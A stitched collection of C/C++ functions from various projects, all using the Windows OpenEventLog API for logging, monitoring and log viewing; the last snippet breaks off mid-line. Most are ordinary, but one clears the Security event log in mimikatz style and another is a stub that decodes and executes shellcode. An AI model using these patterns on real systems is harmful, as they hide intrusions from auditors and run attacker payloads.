/* * Opens a event log and returns the associated HANDLE to the caller if the * operation succeeds. * * I should add support for the UNCServerName someday... * * TLVs: * * req: TLV_TYPE_EVENT_SOURCENAME - The event log name */ DWORD request_sys_eventlog_open(Remote * remote, Packet * packet) { Packet * response = packet_create_response(packet); LPCTSTR sourceName = NULL; DWORD result = ERROR_SUCCESS; HANDLE hEvent; sourceName = packet_get_tlv_value_string(packet, TLV_TYPE_EVENT_SOURCENAME); if(!sourceName) { result = ERROR_INVALID_PARAMETER; } else { hEvent = OpenEventLog(NULL, sourceName); if(!hEvent) { result = GetLastError(); } else { packet_add_tlv_qword(response, TLV_TYPE_EVENT_HANDLE, (QWORD)hEvent); } } packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
int mqtt3_log_init(struct mqtt3_config *config) { int rc = 0; log_priorities = config->log_type; log_destinations = config->log_dest; if(log_destinations & MQTT3_LOG_SYSLOG){ #ifndef WIN32 openlog("mosquitto", LOG_PID|LOG_CONS, config->log_facility); #else syslog_h = OpenEventLog(NULL, "mosquitto"); #endif } if(log_destinations & MQTT3_LOG_FILE){ if(drop_privileges(config, true)){ return 1; } config->log_fptr = _mosquitto_fopen(config->log_file, "at"); if(!config->log_fptr){ log_destinations = MQTT3_LOG_STDERR; log_priorities = MOSQ_LOG_ERR; _mosquitto_log_printf(NULL, MOSQ_LOG_ERR, "Error: Unable to open log file %s for writing.", config->log_file); return MOSQ_ERR_INVAL; } restore_privileges(); } return rc; }
/* Start the event logging for each el */ int startEL(char *app, os_el *el) { DWORD NumberOfRecords = 0; /* Open the event log */ el->h = OpenEventLog(NULL, app); if (!el->h) { merror(EVTLOG_OPEN, ARGV0, app); return (-1); } el->name = app; if (GetOldestEventLogRecord(el->h, &el->record) == 0) { /* Unable to read oldest event log record */ merror(EVTLOG_GETLAST, ARGV0, app); CloseEventLog(el->h); el->h = NULL; return (-1); } if (GetNumberOfEventLogRecords(el->h, &NumberOfRecords) == 0) { merror(EVTLOG_GETLAST, ARGV0, app); CloseEventLog(el->h); el->h = NULL; return (-1); } if (NumberOfRecords <= 0) { return (0); } return ((int)NumberOfRecords); }
void snmp_enable_syslog_ident(const char *ident, const int facility) { netsnmp_log_handler *logh; int found = 0; int enable = 1; #ifdef WIN32 HANDLE eventlog_h; #else void *eventlog_h = NULL; #endif snmp_disable_syslog(); /* only one syslog at a time */ #ifdef WIN32 eventlog_h = OpenEventLog(NULL, ident); if (eventlog_h == NULL) { /* * Hmmm..... * Maybe disable this handler, and log the error ? */ fprintf(stderr, "Could not open event log for %s. " "Last error: 0x%x\n", ident, GetLastError()); enable = 0; } #else openlog(snmp_log_syslogname(ident), LOG_CONS | LOG_PID, facility); #endif for (logh = logh_head; logh; logh = logh->next) if (logh->type == NETSNMP_LOGHANDLER_SYSLOG) { logh->magic = (void*)eventlog_h; logh->imagic = enable; /* syslog open */ if (logh->enabled && (0 == enable)) netsnmp_disable_this_loghandler(logh); else if ((0 == logh->enabled) && enable) netsnmp_enable_this_loghandler(logh); found = 1; } if (!found) { logh = netsnmp_register_loghandler(NETSNMP_LOGHANDLER_SYSLOG, LOG_DEBUG ); if (logh) { logh->magic = (void*)eventlog_h; logh->token = strdup(ident); logh->imagic = enable; /* syslog open */ if (logh->enabled && (0 == enable)) netsnmp_disable_this_loghandler(logh); else if ((0 == logh->enabled) && enable) netsnmp_enable_this_loghandler(logh); } } }
DWORD clear_eventlog() { DWORD res = ERROR_SUCCESS; HANDLE log = OpenEventLog(NULL, L_COMPANY_NAME); if (log == NULL) return GetLastError(); if (!ClearEventLog(log, NULL)) res = GetLastError(); CloseHandle(log); return res; }
/** int startEL(char *app, os_el *el) * Starts the event logging for each el */ int startEL(char *app, os_el *el) { /* Opening the event log */ el->h = OpenEventLog(NULL, app); if(!el->h) { return(0); } el->name = app; GetOldestEventLogRecord(el->h, &el->record); return(1); }
void logInfo(const char *functionName, const char *text) { #ifndef WIN32 syslog(LOG_INFO, "SoftHSM: %s: %s", functionName, text); #else HANDLE hEventLog = OpenEventLog(NULL, "SoftHSM"); if(hEventLog) { char msg[1024]; char* msgs[1]; snprintf(msg, sizeof(msg), "%s: %s", functionName, text); msgs[0] = msg; ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 0, 0, NULL, 1, 0, (const char **)msgs, NULL); CloseEventLog(hEventLog); } #endif }
int main (int argc, char **argv) { unsigned char *shellcode; unsigned char buffer[]= "encoded shellcode"; HANDLE h; h = OpenEventLog( NULL, "Application"); if (h == NULL) printf("error\n"); int size = sizeof(buffer); shellcode = decode_shellcode(buffer,shellcode,size); exec_shellcode(shellcode); }
/* open event logger and return number of records */ static int zbx_open_eventlog(LPCTSTR wsource, HANDLE *eventlog_handle, zbx_uint64_t *FirstID, zbx_uint64_t *LastID) { const char *__function_name = "zbx_open_eventlog"; wchar_t reg_path[MAX_PATH]; HKEY hk = NULL; DWORD dwNumRecords, dwOldestRecord; int ret = FAIL; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); *eventlog_handle = NULL; /* Get path to eventlog */ StringCchPrintf(reg_path, MAX_PATH, EVENTLOG_REG_PATH TEXT("%s"), wsource); if (ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE, reg_path, 0, KEY_READ, &hk)) goto out; RegCloseKey(hk); if (NULL == (*eventlog_handle = OpenEventLog(NULL, wsource))) /* open log file */ goto out; if (0 == GetNumberOfEventLogRecords(*eventlog_handle, &dwNumRecords) || 0 == GetOldestEventLogRecord(*eventlog_handle, &dwOldestRecord)) { CloseEventLog(*eventlog_handle); *eventlog_handle = NULL; goto out; } *FirstID = dwOldestRecord; *LastID = dwOldestRecord + dwNumRecords - 1; zabbix_log(LOG_LEVEL_DEBUG, "End of %s():%s FirstID:" ZBX_FS_UI64 " LastID:" ZBX_FS_UI64 " numIDs:%lu", __function_name, zbx_result_string(ret), *FirstID, *LastID, dwNumRecords); ret = SUCCEED; out: zabbix_log(LOG_LEVEL_DEBUG, "End of %s():%s", __function_name, zbx_result_string(ret)); return ret; }
/* open event logger and return number of records */ static int zbx_open_eventlog(LPCTSTR wsource, HANDLE *eventlog_handle, long *pNumRecords, long *pLatestRecord) { const char *__function_name = "zbx_open_eventlog"; TCHAR reg_path[MAX_PATH]; HKEY hk = NULL; int ret = FAIL; assert(eventlog_handle); assert(pNumRecords); assert(pLatestRecord); zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); *eventlog_handle = NULL; *pNumRecords = 0; *pLatestRecord = 0; /* Get path to eventlog */ zbx_wsnprintf(reg_path, MAX_PATH, EVENTLOG_REG_PATH TEXT("%s"), wsource); if (ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE, reg_path, 0, KEY_READ, &hk)) goto out; RegCloseKey(hk); if (NULL == (*eventlog_handle = OpenEventLog(NULL, wsource))) /* open log file */ goto out; if (0 == GetNumberOfEventLogRecords(*eventlog_handle, (unsigned long*)pNumRecords)) /* get number of records */ goto out; if (0 == GetOldestEventLogRecord(*eventlog_handle, (unsigned long*)pLatestRecord)) goto out; zabbix_log(LOG_LEVEL_DEBUG, "%s() pNumRecords:%ld pLatestRecord:%ld", __function_name, *pNumRecords, *pLatestRecord); ret = SUCCEED; out: zabbix_log(LOG_LEVEL_DEBUG, "End of %s():%s", __function_name, zbx_result_string(ret)); return ret; }
NTSTATUS kuhl_m_event_clear(int argc, wchar_t * argv[]) { HANDLE hEventLog; PCWCHAR szLog; DWORD nbEvents; kull_m_string_args_byName(argc, argv, L"log", &szLog, L"Security"); kprintf(L"Using \"%s\" event log :\n", szLog); if(hEventLog = OpenEventLog(NULL, szLog)) { if(GetNumberOfEventLogRecords(hEventLog, &nbEvents)) kprintf(L"- %u event(s)\n", nbEvents); if(ClearEventLog(hEventLog, NULL)) kprintf(L"- Cleared !\n"); else PRINT_ERROR_AUTO(L"ClearEventLog"); if(GetNumberOfEventLogRecords(hEventLog, &nbEvents)) kprintf(L"- %u event(s)\n", nbEvents); } else PRINT_ERROR_AUTO(L"OpenEventLog"); return STATUS_SUCCESS; }
//------------------------------------------------- void EventScanAlgorithm::getEvent(const std::string& logName, EVENT_TYPE type) { HANDLE hEventLog; EVENTLOGRECORD* eventInfo; DWORD noteSize, nextNoteSize; BYTE buffer[BUFFER_SIZE]; static int eventLogCounter = 0; hEventLog = OpenEventLog(NULL, std::wstring(logName.begin(), logName.end()).c_str()); if(hEventLog == NULL) std::cout << "Could not open event log!"; eventInfo = (EVENTLOGRECORD*)&buffer; //GetOldestEventLogRecord(hEventLog, &eventLogCounter); while(ReadEventLog(hEventLog, EVENTLOG_FORWARDS_READ | EVENTLOG_SEQUENTIAL_READ, 0, eventInfo, BUFFER_SIZE, ¬eSize, &nextNoteSize)) { while(noteSize > 0) { // Show event that contains a specified type. if(eventInfo->EventType & type) { std::cout << eventLogCounter++; showEvent(eventInfo); } noteSize -= eventInfo->Length; eventInfo = (EVENTLOGRECORD*)((LPBYTE)eventInfo + eventInfo->Length); // Next record. } eventInfo = (EVENTLOGRECORD*)&buffer; } CloseHandle(hEventLog); }
/* Open event log */ static int EventlogOpen(int log) { DWORD count; DWORD oldest; /* Reset all indicators */ EventlogList[log].count = 0; EventlogList[log].pos = 0; EventlogList[log].recnum = 1; /* Open log */ EventlogList[log].handle = OpenEventLog(NULL, EventlogList[log].name); if (EventlogList[log].handle == NULL) { Log(LOG_ERROR|LOG_SYS, "Cannot open event log: \"%s\"", EventlogList[log].name); return 1; } /* Get number of records to skip */ if (GetNumberOfEventLogRecords(EventlogList[log].handle, &count) == 0) { Log(LOG_ERROR|LOG_SYS, "Cannot get record count for event log: \"%s\"", EventlogList[log].name); return 1; } /* Get oldest record number */ if (GetOldestEventLogRecord(EventlogList[log].handle, &oldest) == 0 && count != 0) { Log(LOG_ERROR|LOG_SYS, "Cannot get oldest record number for event log: \"%s\"", EventlogList[log].name); return 1; } /* Store record of next event */ EventlogList[log].recnum = oldest + count; if (EventlogList[log].recnum == 0) EventlogList[log].recnum = 1; /* ?? */ /* Success */ return 0; }
int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { int rc; WNDCLASSEX wc; MSG msg; const char *class_name = "brickd_logviewer"; (void)hPrevInstance; (void)lpCmdLine; _hinstance = hInstance; _event_log = OpenEventLog(NULL, "Brick Daemon"); if (_event_log == NULL) { rc = GetLastError(); report_error("Could not open event log: %s (%d)", get_error_name(rc), rc); return 0; } wc.cbSize = sizeof(WNDCLASSEX); wc.style = 0; wc.lpfnWndProc = window_proc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = hInstance; wc.hIcon = NULL; wc.hCursor = LoadCursor(NULL, IDC_ARROW); wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); wc.lpszMenuName = NULL; wc.lpszClassName = class_name; wc.hIconSm = NULL; if (!RegisterClassEx(&wc)) { rc = GetLastError(); report_error("Could not register window class: %s (%d)", get_error_name(rc), rc); CloseEventLog(_event_log); return 0; } _hwnd = CreateWindowEx(WS_EX_APPWINDOW | WS_EX_CLIENTEDGE, class_name, _title, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 1000, 700, NULL, NULL, hInstance, NULL); if (_hwnd == NULL) { rc = GetLastError(); report_error("Could not create window: %s (%d)", get_error_name(rc), rc); CloseEventLog(_event_log); return 0; } SendMessage(_hwnd, WM_SETICON, ICON_BIG, (LPARAM)LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON))); create_menu(); if (init_common_controls() < 0 || create_status_bar() < 0 || create_event_list_view() < 0 || create_debug_list_view() < 0) { CloseEventLog(_event_log); return 0; } set_current_list_view(_event_list_view); ShowWindow(_hwnd, nCmdShow); UpdateWindow(_hwnd); if (CreateThread(NULL, 0, read_named_pipe, NULL, 0, NULL) == NULL) { rc = GetLastError(); report_error("Could not create named pipe thread: %s (%d)", get_error_name(rc), rc); } read_event_log(); SetTimer(_hwnd, 1, 200, (TIMERPROC)NULL); while ((rc = GetMessage(&msg, NULL, 0, 0)) != 0) { if (rc < 0) { rc = GetLastError(); report_error("Could not get window message: %s (%d)", get_error_name(rc), rc); break; } else { TranslateMessage(&msg); DispatchMessage(&msg); } } free(_record_buffer); CloseEventLog(_event_log); return msg.wParam; }
void main() { HANDLE hEventLog; EVENTLOGRECORD* pEventLogRecord = 0; EVENTRECORD* pER = 0; CHAR szFilePath[_MAX_PATH]; CHAR szDate[9]; DWORD dwBytesRead, dwBytesNeeded; DWORD dwEventLogRecords, dwTemp; FILE* fp; // get current date GetCurrentDate(szDate); // get file path if (!(GetFilePath(szFilePath))) strcpy(szFilePath, ""); // format file name sprintf(szFileName, "%s%s%s", szFilePath, szDate, ".LOG"); // open security event log on local machine printf("Opening Security Event Log for Reading...\n"); if (!(hEventLog = OpenEventLog(NULL, "Security"))) { printf("Error Opening Event Log.\n"); return; } // open event file printf("Opening Event File %s for Writing...\n", szFileName); if ((fp = fopen(szFileName, "w+t")) == NULL) { printf("Error Opening Event File.\n"); return; } // find the number of event log records GetNumberOfEventLogRecords(hEventLog, &dwEventLogRecords); // read data and output to file printf("Writing Data To File...\n"); for (dwTemp = 1; dwTemp <= dwEventLogRecords; dwTemp++) { if (!(pEventLogRecord = (EVENTLOGRECORD*)malloc(16384))) return; // read records from event log if (!(ReadEventLog(hEventLog, // event log handle EVENTLOG_SEEK_READ | EVENTLOG_FORWARDS_READ, // get specified record dwTemp, pEventLogRecord, // buffer address 16384, // max size &dwBytesRead, // number of bytes read &dwBytesNeeded))) // number of bytes needed ShowError(); // read record information if (dwBytesRead) { if (ShouldWriteRecord(pEventLogRecord->TimeWritten)) { // allocate memory for event record if (!(pER = (EVENTRECORD*)malloc(sizeof(EVENTRECORD)))) { printf("Error allocating memory for record.\n"); if (pEventLogRecord) free (pEventLogRecord); return; } // set event record into structure SetEventRecord(pEventLogRecord, pER); // write data to file fprintf(fp, "%d\t%s\t%s\t%s\t%s\n%s\n", pER->EventID, pER->szEventDate, pER->szEventType, pER->szSourceName, pER->szComputerName, pER->pMessage); // free allocated memory if (pER) free(pER); } } // free allocated buffer if (pEventLogRecord) free (pEventLogRecord); } printf("Closing Files...\n"); // release event log handle CloseEventLog(hEventLog); // close event file _flushall(); fclose(fp); // send message printf("Sending messages...\n"); SendMail(); }
/*--------------------------[ eventlog_read_events ]-------------------------- * Read messages from the event log * * Returns: * success (0) * error (-1) *----------------------------------------------------------------------------*/ int eventlog_read_events(eventlog_data* eventlog, uint32 *lastrun,uint32 *thisrun){ //char buffer[EVENTLOG_BUFFER_LEN]; uint32 bytes; uint32 next; // EVENTLOGRECORD *record = (EVENTLOGRECORD *)eventBuffer; HANDLE hLog; int status; DWORD recordCounter=1; //used to indicate where to read next from eventlog. It does *not* neccessarily mean that post is to be added;eventlog->Recordoffset takes care of that. DWORD startPos; ntsl_event *event; char *source; char *computer; char *strings; struct tm _time,*time; bool ThisIsInitialLoop=true; __try { time=&_time; LabelForResettedEventLog: if ( (lastrun == NULL) || (thisrun == NULL) || (service_halting()) ) return(-1); if ((hLog = OpenEventLog(NULL, eventlog->name)) == NULL) { //ntsl_log_error(NTSL_ERROR_EVENT_LOG_ACCESS, eventlog->name); DEBUGSERVICE(Message,"Failed to open event log %s. Error: %s", eventlog->name,GetLastError()); return(-1); } DEBUGPARSE(Header,"Reading %s event log starting at offset %u.", eventlog->name,eventlog->recordOffset); //find start position if (eventlog->recordOffset==0) { startPos=FindFirstReadPos(eventlog->name,*lastrun); if (startPos==0) { //no help status=ernoReadEventLog(hLog, EVENTLOG_FORWARDS_READ | EVENTLOG_SEQUENTIAL_READ,0, &bytes, &next); } else { status=ernoReadEventLog(hLog, EVENTLOG_FORWARDS_READ | EVENTLOG_SEEK_READ,startPos, &bytes, &next); } if ((status==0)&& (GetLastError() != ERROR_INSUFFICIENT_BUFFER)) { //totally empty eventlog, or error; eject CloseEventLog(hLog); return(0); } eventlog->recordOffset=record->RecordNumber; eventlog->verificationTime=record->TimeGenerated; recordCounter=eventlog->recordOffset; } else { recordCounter=max(eventlog->recordOffset,0); //-1 so that a valid entry is read unless the enventlog has been wiped. } //big loop while ((status=ernoReadEventLog(hLog, EVENTLOG_FORWARDS_READ | EVENTLOG_SEEK_READ,recordCounter, &bytes, &next))){ DEBUGPARSE(Message,"Read %u bytes at position %u with return status %d.",bytes,recordCounter, status); if ((ThisIsInitialLoop)&&(eventlog->verificationTime!=record->TimeGenerated)) { //same id as before, but new time! Start from scratch since eventlog has been rotated/deleted DEBUGPARSE(Message,"Verification time mismatch! EventLog cleared? starting from the beginning."); eventlog->recordOffset=0; ThisIsInitialLoop=false; CloseEventLog(hLog); goto LabelForResettedEventLog; //erno only solution to a complete rewrite...(?) } ThisIsInitialLoop=false; //Read successful, hence set to false for the future if (service_halting()) return(-1); while (bytes > 0) { /* If this event happened between the last time we ran, and the current time, and it is one we are interested in, then fill in an ntsl_event structure, and pass it to the engine to log. */ //If match with registry list of filtered event id's, ignore. //record->EventID &=0x0000FFFF; Dum, dum idé. Utan unika, högre delarena blir matchningen mellan id och dll'ens id inte unika--> problem. if ( (record->TimeWritten >= (uint32)*lastrun) && (record->TimeWritten < (uint32)*thisrun) && (eventlog_check_event(eventlog, record->EventType)) && (thisEventIsFilteredOut(record->EventID)==false)) { source = (LPSTR) ((LPBYTE) record + sizeof(EVENTLOGRECORD)); computer = source + strlen(source) + 1; strings = (LPSTR) ((LPBYTE) record + record->StringOffset); __time64_t _TimeGenerated=record->TimeGenerated; localtime_s(time,&_TimeGenerated); //DEBUGPARSE(Message,"Nasta startposition %u. Record %u adderades. lastrun: %u thisrun: %u TimeWritten: %u",eventlog->recordOffset,record->RecordNumber,(uint32)*lastrun,(uint32)*thisrun,record->TimeWritten); if ( (event = (ntsl_event*)malloc0(sizeof(ntsl_event))) == NULL){ ntsl_log_error(NTSL_ERROR_EVENT_MALLOC); return(-1); } event->msg[0] = 0; //erno2005 strcpy_s(event->facilityName,sizeof(event->facilityName),eventlog->name); event->time1970format=record->TimeGenerated; strftime(event->date, NTSL_DATE_LEN, "%b %d %H:%M:%S", time); if (event->date[4] == '0') // Unix style formatting event->date[4] = ' '; strcpy_s(event->host, eventlog_lcase(computer)); strcpy_s(event->source, eventlog_lcase(source)); eventlog_set_event_type(event, record->EventType); eventlog_set_event_priority(event, record->EventType, eventlog); eventlog_set_event_msg(event, eventlog->name, record->EventID, strings, record->NumStrings); eventlog_set_user(event, ((LPBYTE) record + record->UserSidOffset), record->UserSidLength); DEBUGPARSE(Message,"Sending parsed record %u to output: %s",record->RecordNumber, event->msg); engine_process_event(event); event = NULL; } else { //DEBUGPARSE(Message,"Next start position %u. Record %u ignored. lastrun: %u thisrun: %u TimeWritten: %u",eventlog->recordOffset,record->RecordNumber,(uint32)*lastrun,(uint32)*thisrun,record->TimeWritten); } bytes -= record->Length; //DEBUGPARSE(Message,"Bytes remaining in buffer to read is %u.",bytes); if (record->TimeWritten < (uint32)*thisrun) { eventlog->recordOffset=record->RecordNumber; eventlog->verificationTime=record->TimeGenerated; } record = (EVENTLOGRECORD *) ((LPBYTE) record + record->Length); recordCounter++; } //End loop parse received messages in buffer DEBUGPARSE(EndHeader,""); //record = (EVENTLOGRECORD *)eventBuffer; } //end big while loop if ((status==0)&&(ThisIsInitialLoop)) { //this only happens if an entry has been removed, i.e. deleted from eventLog. Start from scratch. DEBUGPARSE(Message,"Id not found! EventLog cleared? starting from the beginning."); eventlog->recordOffset=0; ThisIsInitialLoop=false; CloseEventLog(hLog); goto LabelForResettedEventLog; //erno only solution to a complete rewrite...(?) } } __except( CreateMiniDump( GetExceptionInformation() ), EXCEPTION_EXECUTE_HANDLER ) { logger(Error,"Exception when reading events from %s! Will reattempt reading. Current or previous event text is:%s", eventlog->name, event->msg); Sleep(3000); }
DWORD WINAPI eventLogMonitorThreadProc(LPVOID elm_info_param) { EVENTLOGRECORD *pevlr; BYTE bBuffer[BUFFER_SIZE] = { 0 }; DWORD dwRead, dwNeeded, res; DWORD reported_next_record, num_records; BOOL skip_first = FALSE; HANDLE log = NULL, event = NULL; WCHAR msgbuf[BUFFER_SIZE]; eventlogmon_info *elm_info = (eventlogmon_info *) elm_info_param; control = 0; log = OpenEventLog(NULL, L_COMPANY_NAME); if (log == NULL) { (*elm_info->cb_err)(ELM_ERR_FATAL, L"Could not open the " L_COMPANY_NAME L" event log."); goto exit_elm_thread_error; } event = CreateEvent(NULL, FALSE, FALSE, NULL); NotifyChangeEventLog(log, event); pevlr = (EVENTLOGRECORD *) &bBuffer; if (!GetNumberOfEventLogRecords(log, &num_records) || !GetOldestEventLogRecord(log, &reported_next_record)) { _snwprintf(msgbuf, BUFFER_SIZE_ELEMENTS(msgbuf), L"error %d getting eventlog info", GetLastError()); (*elm_info->cb_err)(ELM_ERR_FATAL, msgbuf); goto exit_elm_thread_error; } /* FIXME: we don't handle the situation when the eventlog was cleared, * but our pointer is less than the number of new records. for this * we'll probably have to store a timestamp, and compare against the * event record at next_record. */ if (((int)elm_info->next_record) < 0) { elm_info->next_record = reported_next_record; } else if (elm_info->next_record > (reported_next_record + num_records + 1)) { /* looks like the eventlog was cleared since we last checked * it. issue a warning and reset */ elm_info->next_record = reported_next_record; (*elm_info->cb_err)(ELM_ERR_CLEARED, L"Eventlog was cleared!\n"); } else { /* we need to ensure we SEEK to a valid record; but since * it's already been reported, don't report it again. */ elm_info->next_record--; skip_first = TRUE; } /* first seek to the last record * EVENTLOG_FORWARDS_READ indicates we will get messages in * chronological order. * FIXME: test to make sure that this works properly on * overwrite-wrapped logs */ if (!ReadEventLog(log, EVENTLOG_FORWARDS_READ | EVENTLOG_SEEK_READ, elm_info->next_record, pevlr, BUFFER_SIZE, &dwRead, &dwNeeded)) { dwRead = 0; dwNeeded = 0; } for(;;) { do { /* case 5813: if pevlr->Length is 0, we'll have an infinite * loop. this could possibly happen if drive is full? * just abort if we detect it. */ while (dwRead > 0 && pevlr->Length > 0) { if (format_messages && !skip_first) { res = get_formatted_message(pevlr, msgbuf, BUFFER_SIZE); if (res != ERROR_SUCCESS) { _snwprintf(msgbuf, BUFFER_SIZE_ELEMENTS(msgbuf), L"FormatMessage error %d\n", res); (*elm_info->cb_err)(ELM_ERR_WARN, msgbuf); } else { /* invoke the callback */ (*elm_info->cb_format)(pevlr->RecordNumber, pevlr->EventType, msgbuf, pevlr->TimeGenerated); } } else if(!skip_first) { /* xref case 3065: insurance */ if (pevlr->RecordNumber != 0 || pevlr->TimeGenerated != 0) { /* raw callback */ (*elm_info->cb_raw)(pevlr); } } else { skip_first = FALSE; } dwRead -= pevlr->Length; pevlr = (EVENTLOGRECORD *) ((LPBYTE) pevlr + pevlr->Length); } pevlr = (EVENTLOGRECORD *) &bBuffer; } while (ReadEventLog(log, EVENTLOG_FORWARDS_READ | EVENTLOG_SEQUENTIAL_READ, 0, pevlr, BUFFER_SIZE, &dwRead, &dwNeeded)); if((res = GetLastError()) != ERROR_HANDLE_EOF) { //FIXME: assert GetLastError() is appropriate _snwprintf(msgbuf, BUFFER_SIZE_ELEMENTS(msgbuf), L"Unexpected error %d reading event log\n", res); (*elm_info->cb_err)(ELM_ERR_WARN, msgbuf); } if (do_once) break; /* the event is auto-reset. timeout because NotifyChangeEventLog is not reliable. */ WaitForSingleObject(event, MINIPULSE); if(control) break; } exit_elm_thread_error: if (log != NULL) CloseEventLog(log); if (event != NULL) CloseHandle(event); free(elm_info); /* FIXME: need ExitThread()? */ return 0; }
bool CWfpNET::EventLog_get(void) { HANDLE h; EVENTLOGRECORD *pevlr; BYTE bBuffer[8192]; DWORD dwRead, dwNeeded, dwThisRecord = 0; CString tmp, event; char *cp; char *pSourceName; char *pComputerName; if((h = OpenEventLog(node.szComputerM, _T("Security"))) == NULL) { ErrorHandler("OpenEventLog", GetLastError()); return false; } pevlr = (EVENTLOGRECORD *)&bBuffer; // Opening the event log positions the file pointer for this // handle at the beginning of the log. Read the records // sequentially until there are no more. while(ReadEventLog(h, // event log handle EVENTLOG_FORWARDS_READ | // reads forward EVENTLOG_SEQUENTIAL_READ, // sequential read 0, // ignored for sequential reads pevlr, // pointer to buffer 8192, // size of buffer &dwRead, // number of bytes read &dwNeeded)) // bytes in next record { while(dwRead > 0) { // Print the event identifier, type, and source name. // The source name is just past the end of the // formal structure. tmp.Format(_T("\t%02d Event ID: 0x%08X "), dwThisRecord++, pevlr->EventID); event.operator +=(tmp); char buf[26]; ctime_s(buf, 26, (const time_t *)&pevlr->TimeGenerated); tmp.Format("Time Generated: %s", buf); event.operator +=(tmp); ctime_s(buf, 26, (const time_t *)&pevlr->TimeWritten); tmp.Format("Time Written: %s", buf); event.operator +=(tmp); switch(pevlr->EventType) { case EVENTLOG_ERROR_TYPE: event.operator +=("Error Event\n"); break; case EVENTLOG_WARNING_TYPE: event.operator +=("Warning Event\n"); break; case EVENTLOG_INFORMATION_TYPE: event.operator +=("Information Event\n"); break; case EVENTLOG_AUDIT_SUCCESS: event.operator +=("Success Audit Event\n"); break; case EVENTLOG_AUDIT_FAILURE: event.operator +=("Failure Audit Event\n"); break; default: event.operator +=("Unknown\n"); break; } cp = (char *)pevlr; cp += sizeof(EVENTLOGRECORD); pSourceName = cp; cp += strlen(cp)+1; pComputerName = cp; cp += strlen(cp)+1; tmp.Format("SourceName: %s\n", pSourceName); event.operator +=(tmp); tmp.Format("ComputerName: %s\n", pComputerName); event.operator +=(tmp); EventLog.Add(event); dwRead -= pevlr->Length; pevlr = (EVENTLOGRECORD *)((LPBYTE) pevlr + pevlr->Length); } pevlr = (EVENTLOGRECORD *) &bBuffer; } return(1); }
/* イベントログの読み取り */ void ReadLog(void) { DWORD BufSize; DWORD ReadBytes; DWORD NextSize; BOOL bResult; DWORD i; char *cp; char *pSourceName; char *pComputerName; HANDLE hEventLog = NULL; EVENTLOGRECORD *pBuf = NULL; char **Args = NULL; /* イベントログのオープン */ hEventLog = OpenEventLog(NULL, "Application"); if(hEventLog == NULL) { printf("event log can not open.\n"); goto Exit; } for(;;) { /* イベントログのサイズ取得 */ BufSize = 1; pBuf = (EVENTLOGRECORD *)GlobalAlloc(GMEM_FIXED, BufSize); bResult = ReadEventLog( hEventLog, EVENTLOG_FORWARDS_READ | EVENTLOG_SEQUENTIAL_READ, 0, pBuf, BufSize, &ReadBytes, &NextSize); if(!bResult && GetLastError() != ERROR_INSUFFICIENT_BUFFER) break; GlobalFree(pBuf); pBuf = NULL; /* バッファ割り当て */ BufSize = NextSize; pBuf = (EVENTLOGRECORD *)GlobalAlloc(GMEM_FIXED, BufSize); /* イベントログの読み取り */ bResult = ReadEventLog( hEventLog, EVENTLOG_FORWARDS_READ | EVENTLOG_SEQUENTIAL_READ, 0, pBuf, BufSize, &ReadBytes, &NextSize); if(!bResult) break; eventlog_record rec( pBuf ); /* 読み取ったイベントの表示 */ printf("レコード番号: %d\n", rec.RecordNumber() ); time_t t = rec.TimeGenerated(); printf("生成時刻: %s", ctime( &t ) ); t = rec.TimeWritten(); printf("書き込み時刻: %s", ctime( &t ) ); printf("イベントID: %08x\n", rec.EventID() ); printf( "イベントの種別: %s\n", rec.EventTypeText().c_str() ); cp = (char *)pBuf; cp += sizeof(EVENTLOGRECORD); pSourceName = cp; cp += strlen(cp)+1; pComputerName = cp; cp += strlen(cp)+1; printf("ソース名: %s\n", rec.SourceName().c_str() ); printf("コンピュータ名: %s\n", rec.ComputerName().c_str() ); /* カテゴリの表示 */ printf("二次カテゴリ: ", pBuf->EventCategory); DispMessage(pSourceName, "CategoryMessageFile", NULL, pBuf->EventCategory); /* メッセージの表示 */ Args = GetArgs(pBuf); printf("メッセージ: "); DispMessage(pSourceName, "EventMessageFile", (const char **)Args, pBuf->EventID); if(Args != NULL) { GlobalFree(Args); Args = NULL; } /* 固有データの表示 */ if(pBuf->DataLength > 0) { printf("固有データ: "); for(i=0; i<pBuf->DataLength; i++) printf("%02x ", *(((unsigned char *)pBuf)+(pBuf->DataOffset)+i)); printf("\n"); } printf("\n"); /* バッファ解放 */ GlobalFree(pBuf); pBuf = NULL; } Exit: /* 後処理 */ if(pBuf != NULL) GlobalFree(pBuf); if(Args != NULL) GlobalFree(Args); if(hEventLog != NULL) CloseEventLog(hEventLog); }
int read_windows_sys_log::ReadSystemEventLog(const char *Src, Value &value) { value["t"] = "win_system_log"; DWORD read_len, next_len; char Buffer[256], Data[4096], *pchar; HANDLE Handle = OpenEventLog(NULL, Src); if (Handle==NULL) { CloseHandle(Handle); return -1; } while(ReadEventLog(Handle, EVENTLOG_FORWARDS_READ | EVENTLOG_SEQUENTIAL_READ,1, (EVENTLOGRECORD*)Data, sizeof(Data), &read_len, &next_len)) { Value log_object; for(short i=0; i<read_len;) { //printf("%d\n",read_len); EVENTLOGRECORD *ptr = (EVENTLOGRECORD*)(Data+i); switch(ptr->EventType) //事件类型 { case EVENTLOG_SUCCESS: pchar= "成功"; break; case EVENTLOG_ERROR_TYPE: pchar= "错误"; break; case EVENTLOG_WARNING_TYPE: pchar= "警告"; break; case EVENTLOG_INFORMATION_TYPE: pchar= "信息"; break; case EVENTLOG_AUDIT_SUCCESS: pchar= "审计成功"; break; case EVENTLOG_AUDIT_FAILURE: pchar= "审计失败"; break; default: continue; } //sprintf(Buffer, "事件\t%u\n", (short)(ptr->EventID)); //事件ID //Result += Buffer; log_object["事件"] = boost::lexical_cast<string>(ptr->EventID); /*sprintf(Buffer, "类型\t%s\n", pchar); Result += Buffer; */ log_object["类型"] = boost::lexical_cast<string>(pchar); //time_t timep; //struct tm *p; //time(&timep); //p = localtime(&timep); //tm *ptm = localtime(&timep); tm *ptm = localtime((const time_t 